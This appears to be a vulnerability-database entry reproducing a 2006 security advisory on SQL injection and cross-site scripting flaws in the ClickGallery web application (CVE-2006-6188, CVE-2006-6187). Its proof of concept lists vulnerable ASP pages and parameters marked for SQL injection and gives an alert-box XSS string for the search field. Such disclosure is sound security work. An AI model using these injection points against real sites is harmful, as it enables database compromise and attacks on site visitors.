ClickGallery Sql Injection

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1053093 漏洞类型
发布时间 2006-12-01 更新时间 2006-12-01
CVE编号 CVE-2006-6188
CVE-2006-6187
CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2006120009
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
#Aria-Security Team Advisory
#<www.Aria-security.Com For English >
#<www.Aria-Security.net For Persian >
#-----------------------------------------------------------
#Software: Click Gallery
#Method: SQL Injection  And XSS
#Vendor:ClickGallery.net
#
#PoC:
#
#
#http://target/view_gallery.asp?gallery_id=809&currentpage=[SQL Injection]
#http://target/view_gallery.asp?gallery_id=[SQL injection]
#http://target/download_image.asp?image_id=[SQL Injection]
#http://target/gallery.asp?currentpage=[SQL Injection]
#http://target/view_recent.asp?currentpage=[SQL Injection]
#http://taget/gallery.asp?currentpage=2&orderby=[SQL Injection]
#
#You are able to use XSS by searching your script .
#example in Search: <script>alert('Aria-Security')</script>
#
#Contact: Advisory (at) aria-security (dot) net [email concealed]